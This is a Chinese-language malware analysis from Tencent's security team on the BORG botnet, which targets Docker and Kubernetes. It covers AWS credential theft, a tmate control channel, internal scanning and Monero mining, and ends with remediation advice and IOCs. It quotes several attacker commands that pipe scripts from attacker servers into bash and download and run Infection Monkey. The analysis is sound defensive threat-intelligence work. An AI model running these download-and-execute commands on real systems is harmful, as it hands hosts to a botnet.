专栏首页腾讯安全应急响应中心BORG —— 一个快速进化的僵尸网络
原创

BORG —— 一个快速进化的僵尸网络

文|宙斯盾流量安全分析团队 Pav1、彦修

一、事件概述

近日,宙斯盾流量安全分析团队发现大量针对Docker、Kubernetes等服务的异常扫描流量,我们对此深入分析发现,一个专门针对容器虚拟化服务的僵尸网络浮出水面,因其在文件中大量使用BORG字符串,我们将其命名为BORG僵尸网络。

该攻击者脱胎于早前的TeamTNT团伙,但是在当前的攻击中启用了全新的域名和IP,只有在部分较早期的恶意文件中访问了TeamTNT相关的域名。此外比较重要的一点是攻击者在攻击工具箱中编译和打包了大量来自开源社区的攻击或控制组件,其能力也较之前也有了很大的进化,攻击者不再满足于入侵之后植入挖矿木马牟利,而是在入侵之后开始对内网中的其他机器进行探测和入侵,并批量控制这些机器。基于此,我们有理由相信这是一个正处于开发中的、快速进化的僵尸网络。

二、事件分析

由于BORG僵尸网络在进行快速迭代,所以本文将采用时间线来进行分析,能够更加清晰的描绘该僵尸网络的进化方向和技术更新。

1、初出茅庐

在2020年12月28日,宙斯盾流量安全分析团队第一次捕获了针对该僵尸网络针对Docker的攻击,部分Payload如下:

此时该僵尸网络传播的脚本是aws.sh,如下图所示:

该aws.sh脚本的主要功能是通过AWS元数据服务来获取被控主机的安全凭证。其中169.254.269.254是AWS的元数据服务的地址,可以通过该服务来在EC2实例中获取相关信息,这里攻击者获取的是与该被控实例相关的IAM角色信息,其中包含了与该角色关联的临时安全凭证。

同时,如果环境变量中存在“$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI”变量,则可来查询凭据,这部分详情见AWS文档(附录1)

在获取到安全凭证后,攻击者会检查curl命令可用性,如果不可用则会下载curl程序,然后通过curl将数据传输到指定的地址上,完成了安全凭证窃取的流程,并且对相关记录进行了清除。

可以看出最初版本的恶意脚本功能简单,并没有留存后门等,只是窃取了相关安全凭证,在这个阶段,并不能称之为一个僵尸网络。我们分析发现,该版本与去年8月份安全社区发现的恶意文件相比基本无变化,而该团伙也因第一个针对AWS凭证进行窃取而名声大噪。

2、小幅更新

在2021年1月1日,宙斯盾流量安全分析团队捕获到了该僵尸网络的第一次进化,攻击Payload如下所示:

可以看出不仅对窃取脚本进行了升级,还下载并运行了了一个可执行程序rsMPpayload。

首先来看aws2.sh这个恶意脚本,通过分析发现并没有进行大的变化,只是添加了两处过滤操作,将与key相关的数据过滤出来进行上传。

接下来看rsMPpayload这个可执行程序,仅有251字节,主要功能是连接一个硬编码的IP(13.82.212.245),目前该IP已经无法连接,但是可以看做是该攻击者在有意的向着僵尸网络的控制结构去发展。

3、渐入佳境

该僵尸网络在短期内的攻击Payload和入侵后行为的多次变化引起了我们的注意,随即我们进行了重点监控,在2021年的1月6日发现了新的变化,首次捕获到了请求http: //45.9.150.36/t.sh的流量,t.sh是全新的恶意脚本,如下所示(省略了download函数,该函数无变化):

可以看出,该脚本并不是针对aws机器进行安全凭据,而是变得更加的通用。攻击者在脚本中添加了了通过tmate(附录2)程序进行集中控制的相关代码,基本逻辑是获取服务器内存、CPU、系统等信息,生成session字符串,然后通过脚本硬编码的IP[45.9.150.36]下载对应tmate程序和证书。

然后运行tmate程序,使用下载的证书和session字符串作为参数进行上线。其中session字符串的格式为Base64_encode(IP)+XXXXXXXX+随机数字。最后通过HTTP请求上报相关服务器信息。

此时,攻击者可以通过tmate服务来针对该僵尸主机进行管理,已经形成了僵尸网络的控制结构。攻击者在被控机上线后并没有第一时间执行相关的命令,而是在经过24小时的等待后,才下发其他命令,“curl -s http://45.9.150.36/pwn/lan.sh | bash”。

在lan.sh脚本中,主要做了两件事情,首先是安装masscan:

然后通过masscan针对内网的网段进行扫描,判断是否存在开放的"2375"、"2376" 、"4243"、"8181"、"6379"、"10250",并将结果保存下来,如果找到了开放的10250,然后进行攻击,目前捕获的样本中,攻击者只对10250端口进行了攻击,可以看出这只是个半成品,后续可能会添加针对上述扫描的非10250端口的攻击函数。

针对10250端口的攻击主要目的下载挖矿脚本来进行挖矿。

除了这个命令之外,攻击者还通过tmate下发了“curl -s http://45.9.150.36/outgoing/script_files/xmr3.assi | bash”挖矿命令。

之后攻击者还下发了“curl -# -Lk "https://teamtnt.red/set/up/pei.php?dlmode=curl" | bash ”指令和“curl -# -Lk "https://teamtnt.red/set/up/bob.php?dlmode=curl" | bash”,通过这两个脚本来下载恶意程序,针对内网的http、sockets、docker、k8s等服务进行了攻击。通过对“https://teamtnt.red/set/up/pei.php?dlmode=curl”下载的恶意程序pei进行分析,可以判断是Peirates开源工具【附1】,Peirates是Kubernetes的渗透测试工具,专注于特权提升和横向移动。

通过对“https://teamtnt.red/set/up/ bob.php?dlmode=curl”下载的恶意程序bob进行分析,可以判断是botb(附录5)开源工具,BOtB是一款容器分析和发现工具,旨在供渗透测试人员和工程师使用。关于这两款工具的使用可以查看其文档。

最后攻击者执行“wget --no-check-certificate https://3.104.106.52:5000/api/monkey/download/monkey-linux-64; chmod +x monkey-linux-64; ./monkey-linux-64 m0nk3y -s 3.104.106.52:5000“,通过下载Infection Monkey(附录5)程序来进行进一步的权限维持和横向移动。Infection Monkey是一款开源的安全工具,本意是用来测试数据中心对外围漏洞和内部服务器感染的恢复能力,Monkey使用各种方法在数据中心内进行自我传播,并向集中的Monkey Island服务器报告成功情况。攻击者通过Infection Monkey来实现了远程控制和后续攻击步骤。

三、获利分析

通过对该僵尸网络所使用的挖矿程序进行逆向,分析出其使用的是开源挖矿工具xmrig(附录6)。

通过分析可以获取到该挖矿程序的配置文件,所挖掘的币种是门罗币,通过搜索可以看出该地址下存在4个Worker,已经产出了10+个门罗币。目前该地址的总算力在23KH/s,根据i5 2300具有175H/s的挖矿算力推算,目前该僵尸网络的挖矿算力相当于1300+台i5 2300机器的挖矿算力。

四、总结

通过针对BORG僵尸网络的发展梳理,可以看出这是一个在不断优化攻击载荷和控制结构的僵尸网络。不难发现,攻击者在构建一个完整的僵尸网络时并不是一蹴而就的,而是会不断的进行更新迭代。同时,该僵尸网络的一大特点是大量的使用了针对虚拟化平台进行攻击的开源工具,并且在控制僵尸主机时大量使用公共开源组件,从而加大了检测难度。

五、处置建议

1、该僵尸网络主要通过Docker、k8s等组件未授权漏洞进行传播,请针对这类组件进行安全加固,添加安全验证。

2、检查是否存在"/var/tmp/.../...BORG..."、"/dev/shm/.../...BORG..."目录和非业务使用的tmate进程,如果存在请及时清除。

3、检查 "/usr/local/lib/curl.so","/usr/local/lib/awk.so","/usr/local/lib/bash.so","/usr/local/lib/cat.so","/usr/local/lib/grep.so","/usr/sbin/zgrab","/usr/sbin/zgrab.so","/usr/sbin/jq","/usr/sbin/jq.so"等文件是否存在或者被修改。

4、检查是否存在CPU占用异常进程和名为xmrig、monkey的进程。

相关IOC

C&C

the[.]borg[.]wtf

borg[.]wtf

teamtnt[.]red

projectbluebeam[.]anondns[.]net

45[.]9.150.36

45[.]9.148.108

3[.]104.106.52

SAMPLES MD5

0462ea0efbe86b2347bae553ea8107f0

4aa866946c85283ee433a465e84a2a08

b7d4e2cdff4804a74e37853900dc43b4

95275f19de1a5790b2dd503ba9d7cc7f

80c202ced80965521adf1d63ba6be712

2fae684f1e75714518f4fe156dcc13d8

23836f29f827dc6ebaf4133a6a01fd25

9c4db9e992d02212f09deb5e20a6e564

d1349b288869cbec2a001e92295952ff

7473f2040c8507d0fee9a422560f0cb4

5138eab75c3a09f8f300767e202ea622

0aa3a3d10f633b685b229cecb68c0b68

ee07542f7dba6a60342424faf92af201

fe9d149dec9cd182254ace576a332f56

3d4e5ec8ea149cc51699b15f5738ca23

04b9b25ba894ec98ff8fc26011f6ed82

54fd9e30b7be75600fc9dc4c76fa420a

6f9aa12200dd05d2452d5f4fd808d939

ebf1ed323b01cee04bae21e395edea3f

acf87e0165bc121eb384346d10c74997

1fccc4f70c2c800173b7c56558b74a95

45465406ea00c97a100ecfe638ce7f37

557af488f1cb0dea9819c40bb99ddb29

8e9a927abba3fe269d24fc9f6bfe197d

15ef5bc64545fcb21b168697a1314cf1

769a36672cb4f421be3d3f717107eb3f

e11bae43ed3ed91843bdd6707fed72a3

b539a3b83503982f376c7b113e9dce58

b41503f88e87095fdd770702fba40bab

18fb92e5761a0fbc3d9851e13ea7a051

6a8a351eb2689c98f0bf555ef40c8576

c49bc0dd9ffdb733e4bdc08b7dd86f7c

4e722178f77bfbc31583c5ab1bcd632a

d8f32d78f1659389d289762450bfc276

20540a97d45a729de9bcb59d68dd9153

9150b0d3569152767e3f720014084be4

bef69d12e4b1a99b676bf6f7ce51f575

92490c9b9d3bb59aca5f106e401dfcaa

dbd9262092c016245b03b646e04aad3b

附录

  1. https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html
  2. https://github.com/tmate-io/tmate/
  3. https://github.com/inguardians/peirates
  4. https://github.com/brompwnie/botb
  5. https://github.com/guardicore/monkey
  6. https://github.com/xmrig/xmrig

关于宙斯盾流量安全分析团队

宙斯盾流量安全分析团队隶属于腾讯安全平台部,依托腾讯安全平台部十五年安全经验打造公司级安全系统,聚焦基于流量的攻击检测、入侵检测、流量阻断以及威胁情报的建设和落地工作,不断挖掘流量中的安全风险并拓宽应用场景,结合大数据、AI 等前沿技术,构建网络流量纵深防御体系。

致谢

感谢隔壁Tencent Blade Team的leonwxqian师傅提供恶意文件分析帮助。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 面向DevSecOps的编码安全指南| JavaScript篇

    近年来,无论是DevSecOps,还是Google SRE的可靠和安全性理念,都提倡“安全需要每个工程师的参与”。其中涉及的“安全左移”理念也再次被推向前台,获...

    腾讯安全应急响应中心
  • 拒绝超长函数,从两个curl远程漏洞说起

    Tencent Blade Team在代码审计过程中发现了curl中存在两个可以通过NTLM远程触发的漏洞。这两个漏洞存在于curl在处理Type-2和Type...

    腾讯安全应急响应中心
  • 基于威胁情报周期模型的APT木马剖析

    近日,腾讯服务器安全系统“洋葱”协助部署于公有云的某合作方捕获到一起APT事件,目前已处置完毕。处置过程中捕获木马样本一枚,该样本中包含了大量隐匿攻击手法,“洋...

    腾讯安全应急响应中心
  • 面试官在“逗”你系列:不借助第三变量交换两个变量值的方案你有几种?

    在我们学习编程之初,就学习过变量的赋值操作,同时也学习了将一个变量的值赋值给另外一个变量。对于交换两个变量的值,很多童鞋都有解决方案。然鹅,对于面试官提出的不借...

    胡哥有话说
  • vim之IDE功能配置

    该功能的使用需要安装YouCompleteMe。使用的是vbundle来管理插件。

    李小白是一只喵
  • NLP如何入门?这里有一份经典资源汇总

    允中 编译整理自 Medium 量子位 出品 | 公众号 QbitAI 自然语言处理入门该上什么课,看什么书,有哪些工具可用?Medium作者Melanie T...

    量子位
  • java通过堆栈实现字符串匹配

    package stack; public class StackZiFuPiPei { public int maxSize; public char[...

    闵开慧
  • 字节、百度等大厂面经,资深服务端工程师谈跳槽感悟

    今天大鹏请来一位大厂有 4 年工作经验的服务端资深工程师,在2020年多事之秋的节点,跟大家谈一下跳槽感悟,分享一下自己的面试经历

    灵魂画师牧码
  • 前端技术观察第12期 - 2020 年 Node.js 将会有哪些新功能

    ConardLi
  • macOS png制作icns图标

    小贝壳

扫码关注云+社区

领取腾讯云代金券